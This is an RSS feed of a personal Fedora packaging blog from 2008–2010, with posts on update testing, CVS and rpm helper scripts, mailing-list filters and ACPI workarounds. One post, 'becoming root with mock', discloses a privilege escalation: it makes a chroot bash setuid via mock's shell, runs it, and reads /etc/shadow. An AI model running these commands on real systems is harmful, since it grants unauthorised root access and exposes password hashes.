<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>blogTILLuDROP &#187; fedora</title>
	<atom:link href="http://blogs.23.nu/till/tag/fedora/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.23.nu/till</link>
	<description>Ever tried, ever failed, no matter. Try again, fail again, fail better.</description>
	<lastBuildDate>Tue, 17 Aug 2010 21:31:29 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>de</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>fedora updates need more systematic testing</title>
		<link>http://blogs.23.nu/till/2010/03/fedora-updates-need-more-systematic-testing/</link>
		<comments>http://blogs.23.nu/till/2010/03/fedora-updates-need-more-systematic-testing/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 11:36:08 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[fedora]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=132</guid>
		<description><![CDATA[There is a lot of discussion ongoing about how to change Fedora updates and several proposals for an update policy float around. But after I read parts of the FESCo log for the meeting last night, where an updates policy was discussed, I came to another conclusion. Fedora needs more systematic testing. There is a [...]]]></description>
			<content:encoded><![CDATA[<p>There is a lot of discussion ongoing about how to change Fedora updates and several proposals for an update policy float around. But after I read parts of the FESCo log for the meeting last night, where an updates policy was discussed, I came to another conclusion. Fedora needs more systematic testing. There is a proposal to require at least three positive testing comments in Bodhi (aka 3 karma points) to allow testing updates to become stable. But afaics nobody prepared some statistics about what this would have meant for the previous updates, i.e. how many updates would have been pushed in the past from testint to stable with this policy enabled.</p>
<p>And this leads to a big problem, there is no real knowledge available how well Fedora updates are covered by testing. Looking at the Bodhi metrics, it seems that there is not that much testing going on for testing updates in F11, because the top testers seemed not to improve recently, but the top testers in F12 have already provided more feedback. But even with these comments, there is no way to properly detect how well the testing of a package is covered, e.g. there was an update that was clearly broken that still got positive karma by people who thought using it in a dependent package, but this was not true. I do not want to blame them, because the non-existent dependency was not obvious, but this shows why systematic testing is important. This does not meant that everything has to be tested perfectly, but it should be at least known how well updates are tested to know how to improve it.</p>
<p>My opinion on requiring karma for updates is, that before this is done, it should be made sure that there are enough people willing to test the updates or a automated package behaviour testing should be implemented. E.g. for every package for that a certain karma amount is required, at least one dedicated tester and several occasional testers should sign up. And the required number of the testers should reflect the number of karma points required for an update. If people want better updates in stable, they should imho contribute to testing them, even if they only spend one hour every month on it.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2010/03/fedora-updates-need-more-systematic-testing/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>cvs status parser script</title>
		<link>http://blogs.23.nu/till/2010/01/cvs-status-parser-script/</link>
		<comments>http://blogs.23.nu/till/2010/01/cvs-status-parser-script/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 23:19:48 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[cvs]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[MIT]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=122</guid>
		<description><![CDATA[As other people already found out, the cvs status output sucks pretty much. I found some simple bash scripts to make them a little more useful, but then I quickly wrote a simple MIT-licensed python script that creates an output like modern scms do. It can be downloaded from my Fedorapeople space. Luckily Fedora will [...]]]></description>
			<content:encoded><![CDATA[<p>As <a title="cvs status bash filter script" href="http://www.freshblurbs.com/cvs-status-one-svn-bash-script">other people</a> already found out, the cvs status output sucks pretty much. I found some simple <a title="grep cvs filter commandline" href="http://snippets.dzone.com/posts/show/167">bash scripts </a>to make them a little more useful, but then I quickly wrote a simple MIT-licensed python script that creates an output like modern scms do. It can be downloaded from my <a title="modern scm style cvs stat helper script" href="http://till.fedorapeople.org/files/cvs-stat.py">Fedorapeople space.</a> Luckily <a title="Fedora git migration proposal" href="https://fedoraproject.org/wiki/Dist_Git_Proposal">Fedora will anyhow move to git</a>, soon, so I won&#8217;t have to use CVS that much anymore then.</p>
<p>It will fail, if files are in a state unknown to the script, but it should cover the most common states (read: the states I found in my cvs checkout). Feel free to report any states that it should handle and I&#8217;ll update it.<br />
Here is some example output (I defined an cvss alias for it):<br />
<code><br />
$ cvss<br />
? unknown<br />
O common/Makefile.common<br />
O devel/Makefile<br />
? devel/xz-4.999.8beta<br />
? devel/xz-4.999.8beta.tar.gz<br />
M devel/xz.spec<br />
O EL-5/Makefile<br />
</code></p>
<p>As you can see, it sorts the output and also handles subdirs</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2010/01/cvs-status-parser-script/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>fedora mailinglist migration List-Id conversion script</title>
		<link>http://blogs.23.nu/till/2010/01/fedora-mailinglist-migration-list-id-conversion-script/</link>
		<comments>http://blogs.23.nu/till/2010/01/fedora-mailinglist-migration-list-id-conversion-script/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 18:32:24 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[mailinglist]]></category>
		<category><![CDATA[procmail]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=107</guid>
		<description><![CDATA[Starting tomorrow, the Fedora mailing lists will be migrated from redhat.com to lists.fedoraproject.org. This will mess up everybody&#8217;s mailfilters that use the List-Id-Header. I just changed my .procmailrc to use the old and the new List-Ids with a huge sed command. This script can be temporarily downloaded from my Fedorapeople webspace. Maybe it is helpful [...]]]></description>
			<content:encoded><![CDATA[<p>Starting tomorrow, the Fedora mailing lists will be migrated from redhat.com to <a title="Fedoraproject mailinglists" href="https://admin.fedoraproject.org/mailman/listinfo">lists.fedoraproject.org</a>. This will mess up everybody&#8217;s mailfilters that use the List-Id-Header. I just changed my .procmailrc to use the old and the new List-Ids with a huge sed command. This script can be temporarily downloaded from my <a title="Fedora mailinglist migration helper script" href="http://till.fedorapeople.org/tmp/mlmigration.sh">Fedorapeople webspace</a>. Maybe it is helpful for you, too. Here is a short excerpt:<br />
<code><br />
#!/bin/bash<br />
# Author: Till Maas<br />
# The sed expressions have been created with:<br />
# sed -e 's/^\(.*\) \(.*\)/-e '\''s!\1.redhat.com!(\1.redhat.com|\2.lists.fedoraproject.org)!'\'' \\/' mlmigration.csv<br />
# mlmigration.csv is a csv version of<br />
# http://jstanley.fedorapeople.org/mlmigration.ods with the first line removed<br />
# and a space used as delimiter<br />
sed -e 's!fedora-announce-list.redhat.com!(fedora-announce-list.redhat.com|announce.lists.fedoraproject.org)!' \<br />
-e 's!fedora-list.redhat.com!(fedora-list.redhat.com|users.lists.fedoraproject.org)!' \<br />
...<br />
-e 's!fedora-trans-fa.redhat.com!(fedora-trans-fa.redhat.com|Trans-fa.lists.fedoraproject.org)!' \<br />
-e 's!fedora-trans-te.redhat.com!(fedora-trans-te.redhat.com|Trans-te.lists.fedoraproject.org)!' \<br />
-e 's!fedora-virt-maint.redhat.com!(fedora-virt-maint.redhat.com|Virt-maint.lists.fedoraproject.org)!' \<br />
-e 's!fedora-trans-as.redhat.com!(fedora-trans-as.redhat.com|Trans-as.lists.fedoraproject.org)!' \<br />
"${@}"</code></p>
<p>This script might of course break something in your setup, so please use it only if you understood what it does. Also I do not know, whether the new values for List-Id are really accurate, I just assumed the suffix to be &#8220;lists.fedoraproject.org&#8221; like it is for the logistics mailing list.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2010/01/fedora-mailinglist-migration-list-id-conversion-script/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>acpi workaround for broken display reset after lid close in fedora 12</title>
		<link>http://blogs.23.nu/till/2010/01/acpi-workaround-for-broken-display-reset-after-lid-close-in-fedora-12/</link>
		<comments>http://blogs.23.nu/till/2010/01/acpi-workaround-for-broken-display-reset-after-lid-close-in-fedora-12/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 17:04:23 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[x41]]></category>
		<category><![CDATA[acpi]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[xrandr]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=103</guid>
		<description><![CDATA[Yesterday I started to migrrate my notebook to Fedora 12. First it was all fun, but then the bugs hit me. A currently very annoying commonly known bug is, that on intel notebooks, the display may not get switched on, if the lid was closed. The current workaround is to create a shortcut to call [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I started to migrrate my notebook to Fedora 12. First it was all fun, but then the bugs hit me. A currently very annoying <a href="https://fedoraproject.org/wiki/Common_F12_bugs#Display_cannot_be_reactivated_if_it_enters_sleep_mode_with_laptop_lid_closed">commonly known bug</a> is, that on intel notebooks, the display may not get switched on, if the lid was closed. The current workaround is to create a shortcut to call xrandr to reset the output. I wanted this to happen automatically and after I failed to even get a gasp about how to do this with hal. Is there even any documentation or guide that explains this for anyone like &#8220;man acpid&#8221; explains how to perform actions when the lid is opened/closed? I was first foolished by acpid not wanting to start because <a title="hal-addon-acpi and acpid conflict bug report" href="https://bugzilla.redhat.com/show_bug.cgi?id=458751">hal-addon-acpi already opened /proc/acpi/events</a>, but thanks to the bug report I knew that it is just an problem of the startup order. Hal was already started, but after I stoppped it, I could easily start acpid and then haldaemon again.</p>
<p>Now here is the configuration to get the he workaround xrandr calls run automatically:<br />
<code><br />
cat /etc/acpi/actions/reset-display.sh<br />
#!/bin/bash<br />
PATH="/bin:/usr/bin:/sbin:/usr/sbin"<br />
export DISPLAY=:0.0<br />
if grep open /proc/acpi/button/lid/LID/state<br />
then<br />
su "$(getent passwd 500 | cut -d: -f1)" -c "xrandr --output LVDS1 --off"<br />
su "$(getent passwd 500 | cut -d: -f1)" -c "xrandr --output LVDS1 --auto"<br />
fi<br />
</code></p>
<p><code><br />
cat /etc/acpi/events/reset-display.conf<br />
event=button/lid LID 00000080.*<br />
action=/etc/acpi/actions/reset-display.sh<br />
</code></p>
<p>It will only work if the user with uid 500 uses display :0.0. Probably this could be changed to work in all cases, but it works for me. :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2010/01/acpi-workaround-for-broken-display-reset-after-lid-close-in-fedora-12/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Reviews that are NotReady</title>
		<link>http://blogs.23.nu/till/2009/09/reviews-that-are-notready/</link>
		<comments>http://blogs.23.nu/till/2009/09/reviews-that-are-notready/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 22:58:25 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[package review]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=88</guid>
		<description><![CDATA[Today I wanted to review a package, but lots of review requests I searched, that are not already assigned to somebody are still in an unfinished state. There are already some issues raised that the submitter did not yet address.
There is a way to mark these review requests: Add NotReady to the status whiteboard of [...]]]></description>
			<content:encoded><![CDATA[<p>Today I wanted to review a package, but lots of review requests I searched, that are not already assigned to somebody are still in an unfinished state. There are already some issues raised that the submitter did not yet address.</p>
<p>There is a way to mark these review requests: Add NotReady to the status whiteboard of the review request. By adding this, interested maintainers can easily filter out review requests, that do not yet need their attention. <a title="cached list of review requests needing a reviewer" href="http://fedoraproject.org/PackageReviewStatus/NEW.html">The cached review requests</a> already filters these review requests out. Once the issues are addressed, the submitter can just remove the entry from the status whiteboard.</p>
<p>So please use the NotReady entry in the future if you found some blocking issues in a review request, to make it easier to find bug reports that need attention by a reviewer.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/09/reviews-that-are-notready/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>rpm nvr alias</title>
		<link>http://blogs.23.nu/till/2009/09/rpm-nvr-alias/</link>
		<comments>http://blogs.23.nu/till/2009/09/rpm-nvr-alias/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 16:30:00 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[rpm]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=85</guid>
		<description><![CDATA[Whenever I do somethong new on Fedora, it is normally time to report some bugs and one import part of the bug report is to include the name-version-release string of the affected rpm package. To get this string easily, I created an alias for it:
alias nvr='/bin/rpm --qf '\''%{name}-%{version}-%{release}\n'\'' -q'
When I handle new bug reports, then [...]]]></description>
			<content:encoded><![CDATA[<p>Whenever I do somethong new on Fedora, it is normally time to report some bugs and one import part of the bug report is to include the name-version-release string of the affected rpm package. To get this string easily, I created an alias for it:</p>
<p><code>alias nvr='/bin/rpm --qf '\''%{name}-%{version}-%{release}\n'\'' -q'</code></p>
<p>When I handle new bug reports, then I often need to request this information, because I handle several bug reports for components in Red Hat Bugzilla, where most reported bugs are there because of a bug iin some other package. E.g. people report bugs against radeontool, but it&#8217;s a bug of the radeon driver, which is included in xorg-x11-drv-ati. Therefore it would be nice if people would have this useful alias or shell script installed on their system, e.g. as rpm-nvr. Maybe I should create a package like rpm-query-scripts that also provide some other useful queries, e.g. for package reviews.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/09/rpm-nvr-alias/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rpmbuild &#8211;with/&#8211;without conditional builds</title>
		<link>http://blogs.23.nu/till/2009/08/rpmbuild-with-without-conditional-builds/</link>
		<comments>http://blogs.23.nu/till/2009/08/rpmbuild-with-without-conditional-builds/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 13:31:21 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[rpmbuild]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=83</guid>
		<description><![CDATA[There is now some easy to read documentation about conditional builds available at the rpm.org wiki.
]]></description>
			<content:encoded><![CDATA[<p>There is now some easy to read documentation about conditional builds available at the <a title="rpm.ork wiki - conditional builds" href="http://rpm.org/wiki/PackagerDocs/ConditionalBuilds">rpm.org wiki</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/08/rpmbuild-with-without-conditional-builds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>upstream release monitoring</title>
		<link>http://blogs.23.nu/till/2009/07/upstream-release-monitorin/</link>
		<comments>http://blogs.23.nu/till/2009/07/upstream-release-monitorin/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 20:13:04 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[upstream-release-monitoring]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=81</guid>
		<description><![CDATA[Today I published my git repository of the tool I started to write to supply a upstream release monitoring service to Fedora. Some time ago Michał Bentkowski wrote a tool called FEVer to do this, but he became unresposive and did not publish the full code of FEVer. Since I missed this service, I started [...]]]></description>
			<content:encoded><![CDATA[<p>Today I published my <a title="cnucnu fedorapeople git repository" href="http://fedorapeople.org/gitweb?p=till/public_git/cnucnu.git;a=summary">git repository</a> of the tool I started to write to supply a upstream release monitoring service to Fedora. Some time ago <a title="Ecik" href="https://fedoraproject.org/wiki/User:Ecik">Michał Bentkowski</a> wrote a tool called FEVer to do this, but he became unresposive and did not publish the full code of FEVer. Since I missed this service, I started to write a new tool, that can provide the same service, which is currently called &#8220;cnucnu&#8221;, because of the lack of a better name. It does not have any bugzilla reporting features yet, but they will be added eventually. At the time of this posting, it only supports to check all packages that are listed on the <a title="FEver Fedora wiki page" href="https://fedoraproject.org/wiki/Using_FEver_to_track_upstream_changes">Fedora wiki page of FEVer</a> and to test regular expressions for easy development of one for a new package.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/07/upstream-release-monitorin/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>preupgrade security fail</title>
		<link>http://blogs.23.nu/till/2009/07/preupgrade-security-fail/</link>
		<comments>http://blogs.23.nu/till/2009/07/preupgrade-security-fail/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 11:00:13 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=78</guid>
		<description><![CDATA[I just wanted to try out preupgrade to update to Fedora 11, but then I was disappointed that it does not verify securely what it is downloading and installing onto my system. And even worse, this is not even announced by preupgrade. It is so strange, on the one hand all rpm packages are signed [...]]]></description>
			<content:encoded><![CDATA[<p>I just wanted to try out preupgrade to update to Fedora 11, but then I was disappointed that it <a title="no secure verification of downloads" href="https://bugzilla.redhat.com/show_bug.cgi?id=509338">does not verify securely</a> what it is downloading and installing onto my system. And even worse, this is not even announced by preupgrade. It is so strange, on the one hand all rpm packages are signed and even the algorithms used are <a title="Stringer Hashes" href="https://fedoraproject.org/wiki/Features/StrongerHashes">updated</a>, but on the other hand the signatures are not used. So please be aware that if you use preupgrade, it will not verify that the installed content came from Fedora.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/07/preupgrade-security-fail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BruCON Security Conference in Brussels</title>
		<link>http://blogs.23.nu/till/2009/07/brucon-security-conference-in-brussel/</link>
		<comments>http://blogs.23.nu/till/2009/07/brucon-security-conference-in-brussel/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 18:40:28 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=74</guid>
		<description><![CDATA[I just registered for BruCON, because the early bird tickets are only available for two more days. Will you come, too? It would be nice to meet some Fedorians there, but I guess I would have more luck at some generic FOSS conference.
]]></description>
			<content:encoded><![CDATA[<p>I just registered for <a title="BruCON Security Conference in Brussels" href="http://www.brucon.org">BruCON</a>, because the early bird tickets are only available for two more days. Will you come, too? It would be nice to meet some Fedorians there, but I guess I would have more luck at some generic FOSS conference.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/07/brucon-security-conference-in-brussel/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>becoming root with mock</title>
		<link>http://blogs.23.nu/till/2009/05/becoming-root-with-mock/</link>
		<comments>http://blogs.23.nu/till/2009/05/becoming-root-with-mock/#comments</comments>
		<pubDate>Wed, 27 May 2009 18:11:06 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=71</guid>
		<description><![CDATA[I wonder how well known it is that installing mock and adding a user to the mock groups means giving this user root access most of the time. I know the authors of mock now and also some people on fedora-devel, but did you know? In case you wonder how it works, here is one [...]]]></description>
			<content:encoded><![CDATA[<p>I wonder how well known it is that installing mock and adding a user to the mock groups means giving this user root access most of the time. I know the authors of mock now and also some people on fedora-devel, but did you know? In case you wonder how it works, here is one way to do this:<br />
<code><br />
$ /usr/bin/mock --init -r fedora-10-i386<br />
$ /usr/bin/mock --shell -r fedora-10-i386<br />
mock-chroot&gt; chmod u+s bin/bash<br />
$ /var/lib/mock/fedora-10-i386/root/bin/bash -p<br />
# cat /etc/shadow</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/05/becoming-root-with-mock/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>rpmbuild in current directory</title>
		<link>http://blogs.23.nu/till/2009/05/rpmbuild-in-current-directory/</link>
		<comments>http://blogs.23.nu/till/2009/05/rpmbuild-in-current-directory/#comments</comments>
		<pubDate>Mon, 18 May 2009 08:37:37 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[rpm]]></category>
		<category><![CDATA[rpmbuild]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=69</guid>
		<description><![CDATA[Since I started packaging, I was always annoyed by rpmbuild&#8217;s demand for it&#8217;s strange directory structure for input and output files. Therefore I wrote this little script to get a rpmbuild that uses the current directory for all these directories. Maybe there is one missing, because a recent rpm version now uses a BUILDROOT directory. [...]]]></description>
			<content:encoded><![CDATA[<p>Since I started packaging, I was always annoyed by rpmbuild&#8217;s demand for it&#8217;s strange directory structure for input and output files. Therefore I wrote this little script to get a rpmbuild that uses the current directory for all these directories. Maybe there is one missing, because a recent rpm version now uses a BUILDROOT directory. Maybe one can define _buildrootdir for this, but I did not yet have any need for it.</p>
<p><code><br />
$ cat rpmbuild-currentdir.sh<br />
#! /bin/bash</code></p>
<p>/usr/bin/rpmbuild &#8211;define &#8220;_sourcedir .&#8221; &#8211;define &#8220;_rpmdir .&#8221; &#8211;define &#8220;_buildir .&#8221; &#8211;define &#8220;_srcrpmdir .&#8221; &#8211;define &#8220;_speccdir .&#8221; &#8220;$@&#8221;</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2009/05/rpmbuild-in-current-directory/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>disable bluetooth on thinkpads on Fedora</title>
		<link>http://blogs.23.nu/till/2008/12/disable-bluetooth-on-thinkpads-on-fedora/</link>
		<comments>http://blogs.23.nu/till/2008/12/disable-bluetooth-on-thinkpads-on-fedora/#comments</comments>
		<pubDate>Mon, 29 Dec 2008 12:48:20 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[x41]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=66</guid>
		<description><![CDATA[On Fedora 8 already my bluetooth disable button on my thinkpad was broken somehow. It works fine in grub, but iirc once udev is started, it stops working. Since I nearly never use bluetooth, this does not much harm to me. But since Fedora 9, bluetooth is always enabled during boot and then it sucks, [...]]]></description>
			<content:encoded><![CDATA[<p>On Fedora 8 already my bluetooth disable button on my thinkpad was broken somehow. It works fine in grub, but iirc once udev is started, it stops working. Since I nearly never use bluetooth, this does not much harm to me. But since Fedora 9, bluetooth is always enabled during boot and then it sucks, that I am not able to disable it again easily. Talking with an expert about this, he told me, that bluetooth can easily disabled with this command:<br />
<code><br />
echo disable &gt; /proc/acpi/ibm/bluetooth<br />
</code></p>
<p>I was also told, that it is possbible to use acpid to run this command when the key is pressed. Nevertheless I wonder, why this out-of-the box since I buyed the thinkpad working button was broken. Asking on the <a href="http://lists.freedesktop.org/archives/hal/2008-October/012392.html">hal-mailinglist</a> did do get me any reply, so if you know anything helpful, please leave a comment. :-)</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/disable-bluetooth-on-thinkpads-on-fedora/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>make force-tag opt-in</title>
		<link>http://blogs.23.nu/till/2008/12/make-force-tag-opt-in/</link>
		<comments>http://blogs.23.nu/till/2008/12/make-force-tag-opt-in/#comments</comments>
		<pubDate>Wed, 17 Dec 2008 15:47:52 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=60</guid>
		<description><![CDATA[On the FESCo meeting on 2008-09-17 the removal of the force-tag make target was decided. But it was also decided to still allow to change cvs tags using

TAG_OPTS=-F make tag

If you want your force-tag target back, simply add this to your ~/.cvspkgsrc file (the first character of the second line should be a tab character):

force-tag: [...]]]></description>
			<content:encoded><![CDATA[<p>On the <a href="https://fedoraproject.org/wiki/Extras/SteeringComittee/Meeting-20080917">FESCo meeting on 2008-09-17</a> the removal of the force-tag make target was decided. But it was also decided to still allow to change cvs tags using<br />
<code><br />
TAG_OPTS=-F make tag<br />
</code><br />
If you want your force-tag target back, simply add this to your <code>~/.cvspkgsrc</code> file (the first character of the second line should be a tab character):<br />
<code><br />
force-tag: $(SPECFILE) $(COMMON_DIR)/branches<br />
@$(MAKE) tag TAG_OPTS="-F $(TAG_OPTS)"<br />
</code><br />
To ease your life, you can also download this code from my fedorapeople space.</p>
<p>secure:<br />
<code><br />
ssh fedorapeople.org cat /home/fedora/till/public_html/files/cvspkgsrc-force-tag.gmk &gt;&gt; .cvspkgsrc<br />
</code></p>
<p>insecure:<br />
<code><br />
curl http://till.fedorapeople.org/files/cvspkgsrc-force-tag.gmk &gt;&gt; .cvspkgsrc<br />
</code></p>
<p>Don&#8217;t forget to check your .cvspkgsrc afterwards.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/make-force-tag-opt-in/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>cached package review buglists</title>
		<link>http://blogs.23.nu/till/2008/12/cached-package-review-buglists/</link>
		<comments>http://blogs.23.nu/till/2008/12/cached-package-review-buglists/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 22:22:29 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[fedora]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=53</guid>
		<description><![CDATA[Nearly 800 packages are waiting to enter Fedora. The cached bugzilla requests help you to get them faster included.]]></description>
			<content:encoded><![CDATA[<p>The <a href="https://fedoraproject.org/wiki/SIGs/Package_Review">Package Review SIG</a> created some webpages that <a href="http://fedoraproject.org/PackageReviewStatus/">cache bugzilla queries</a> of package review requests. The pages are currently updated every hour and are a lot faster to load than doing direct queries at bugzilla. This is not something new, but it would be nice if 719 of you readers would pick up a ticket from the unassigned list and perform a review. ;-)</p>
<p>Here are the lists:</p>
<p><a href="http://fedoraproject.org/PackageReviewStatus/NEW.html">Unassigned Review Requests</a> &#8211; <a href="http://fedoraproject.org/PackageReviewStatus/REVIEW.html">Review Requests in progress</a> &#8211; <a href="http://fedoraproject.org/PackageReviewStatus/ACCEPT.html">Accepted Review Requests</a> &#8211; <a href="http://fedoraproject.org/PackageReviewStatus/REJECT.html">Rejected Review Requests</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.23.nu/till/2008/12/cached-package-review-buglists/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rpm addsign with gpg agent</title>
		<link>http://blogs.23.nu/till/2008/12/rpm-addsign-with-gpg-agent/</link>
		<comments>http://blogs.23.nu/till/2008/12/rpm-addsign-with-gpg-agent/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 14:28:23 +0000</pubDate>
		<dc:creator>till</dc:creator>
				<category><![CDATA[software]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[rpm]]></category>

		<guid isPermaLink="false">http://blogs.23.nu/till/?p=47</guid>
		<description><![CDATA[Entering the gpg password to rpm --addsign is very annyoning if you easily fat finger it, therefore let's make it use gpg-agent by modifying %__gpg_sign_cmd and %__gpg_check_password_cmd . Then you can enter any password to rpm or use an additional wrapper to get only asked by gpg-agent.]]></description>
			<content:encoded><![CDATA[<p>Unfortunately I am <a href="https://bugzilla.redhat.com/show_bug.cgi?id=436812">not yet able</a> to use my gpg key to create working signed rpms. But during debugging this I had to sign lots of test rpms nevertheless and enter a new password every time. Luckily during the debugging it became clear how to make rpm use the gpg-agent instead of passing the password via a file descriptor to gpg.</p>
<p>Thanks go to <span class="bz_comment_head"><em> <span class="vcard"> Jeff Johnson</span></em><span class="vcard"> for motivating me to do this and telling me, that it is ok to modify %__gpg_sign_cmd. And also to</span></span><span class="bz_comment_head"><em> <span class="vcard"> Panu Matilainen </span></em></span><span class="bz_comment_head"><em><span class="vcard"> </span></em><span class="vcard">for <a href="https://bugzilla.redhat.com/show_bug.cgi?id=476201#c2">backing this up</a>. I normally have a strong aversion against modifying macros that begin with two underlines, but with this encouragement it is not that bad. ;-)<br />
</span></span></p>
<p>That&#8217;s enough talk, here comes the code:</p>
<p>I added this to my ~/.rpmmacros file:<br />
<code><br />
%__gpg_check_password_cmd /bin/true<br />
%__gpg_sign_cmd %{__gpg} gpg --batch --no-verbose --no-armor --use-agent --no-secmem-warning -u "%{_gpg_name}" -sbo %{__signature_filename} %{__plaintext_filename}</code></p>
